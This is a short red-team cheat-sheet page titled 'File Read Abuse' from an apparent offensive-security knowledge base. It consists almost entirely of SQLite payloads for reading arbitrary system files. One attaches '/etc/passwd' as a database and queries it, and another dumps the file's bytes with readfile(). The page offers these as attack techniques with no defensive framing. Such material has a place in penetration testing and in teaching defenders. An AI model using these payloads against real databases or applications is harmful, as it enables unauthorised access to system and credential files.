Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / SQL / SQLITE / FILE ACCESS

File Read Abuse

-- Read an arbitrary file by attaching it as a DB
ATTACH '/etc/passwd' AS hacked;

-- Attempt to read content (if file happens to be valid SQLite header)
SELECT * FROM hacked.sqlite_master;

-- Or dump raw bytes (hex)
SELECT quote(readfile('/etc/passwd'));